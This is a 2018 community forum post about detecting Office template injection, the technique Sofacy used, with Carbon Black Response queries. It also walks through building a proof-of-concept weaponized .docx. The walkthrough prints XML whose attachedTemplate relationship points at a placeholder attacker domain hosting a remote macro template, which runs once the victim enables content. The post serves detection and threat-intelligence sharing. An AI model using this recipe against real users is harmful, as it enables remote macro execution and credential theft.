pjcampbe11

New Contributor II

11-21-2018 11:21 AM

Template Injection Detection with CbR

Unit 42 released a report on 11/20 detailing how Sofacy is using Template Injection to remotely load malicious macros. While testing this technique in a similar way, it was discovered that an artifact that can potentially be used for detection is present in: C:\users\[Username]\appdata\roaming\microsoft\office\recent\[filename.dotm.url]

When a template loads normally, you will see a filemod to C:\users\[Username]\appdata\roaming\microsoft\templates\~$normal.dotm

The below CB query works when you know the user and filename

host_type:workstation os_type:windows process_name:winword.exe filemod:C:\users\[Username]\appdata\roaming\microsoft\office\recent\[filename.dotm.url] netconn_count:[1 TO *]

To be useful, the query needs to account for any username or any file name, as we cannot predict attacker controlled events such as who is targeted and the name chosen for the remote template.

This requires the search to look something like this:

host_type:workstation os_type:windows process_name:winword.exe filemod:C:\users\*\appdata\roaming\microsoft\office\recent\*.dotm.url netconn_count:[1 TO *] and is not reliable as it will sometimes fail. This is understandable as the two wild cards are expensive.

Would be interested to see what others have come up with when trying to detect this technique using CbR. This was the first artifact that stood out, so there may be others as well.

Below is a breakdown of some of the history around template injection and an explanation on how to build a PoC. How to build a weaponized version has been included in the resources section.

Template injection as a technique was first publicly disclosed by Talos on Friday, July 7, 2017 when an attack on critical infrastructure leveraged this technique. However, there have been other instances since then and have been reported by vendors such as Malwarebytes.

This technique uses email as the vector, but remotely loads the actual macro enabled template over “http(s)” once the target enables content on the docx that was sent in. This document can be delivered by attachment or in the body of the email as a link to an attacker controlled domain where the docx would be hosted. The location of the remote template will also be under the control of the attacker.

It should be noted that in the Talos report, the attackers used this technique to download a template file over an SMB connection so that the user's credentials could be silently harvested.

To reproduce, create a word document with Microsoft office and save as “Microsoft Word 2007-2013 XML (.docx) and then unzip the document. In **word_rels** directory, create the file named “settings.xml.rels” and include the following XML content.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

```
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship
Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/a
ttachedTemplate"
Target="http(s)://Attacker_Domain_Here/Name_of_Maldoc.dotm"
TargetMode="External"/>
</Relationships>
```

The next step is to ensure the relationship ID in the “settings” file within **\word** sub directory has the same relationship ID as defined in the “settings.xml.rels” file within **word_rels.**

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-
com:office:word"
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"
xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
mc:Ignorable="w14"><w:zoom w:val="bestFit"
w:percent="163"/><w:attachedTemplate r:id="rId1337"/><w:defaultTabStop
w:val="720"/><w:characterSpacingControl
w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode"
w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting
w:name="overrideTableStyleFontSizeAndJustification"
w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting
w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word"
w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents"
w:uri="http://schemas.microsoft.com/office/word"
w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0014377B"/><w:rsid
w:val="0014377B"/><w:rsid w:val="002E75FE"/><w:rsid
w:val="003941A9"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin
m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin
m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent
m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim
m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping
w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2"
w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4"
w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink"
w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit"
spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit"
data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator
w:val=","/></w:settings>
```

Once these steps have been completed, the rels, docProps, word and [ContentTypes] should be selected and send to compressed zip using Microsoft built in utility. Simply rename this to NameOfFile.docx and you will now have an MS Office document (.docx) that is weaponized to perform template injection. When opened and “enable content” is selected, the XML settings and configuration will instruct MS Office Word to fetch and execute the remote macro. There is no interaction from a user perspective with the remote template (.dotm). Once "enable content" is clicked, the macro and whatever code is contained within will execute in the context of the user who clicked.

Resources:

https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-ne...

https://attack.mitre.org/techniques/T1221/

https://blog.talosintelligence.com/2017/07/template-injection.html

http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html

https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware...

Labels

- Community Threat Intel
    - Tags:
    - sofacy
    - T1221
    - Template Injection

Add tags

CB_Community_Template_Injection.JPG